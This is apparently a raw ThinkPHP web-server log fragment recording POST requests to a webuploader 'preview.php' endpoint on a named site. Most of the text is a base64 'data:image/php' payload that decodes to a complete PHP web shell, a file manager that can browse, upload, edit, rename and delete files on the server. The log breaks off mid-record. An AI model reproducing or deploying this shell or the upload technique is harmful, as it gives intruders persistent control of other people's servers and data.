'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:50+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/Admin/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002539s] [吞吐率:393.87req/s] [内存消耗:196.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 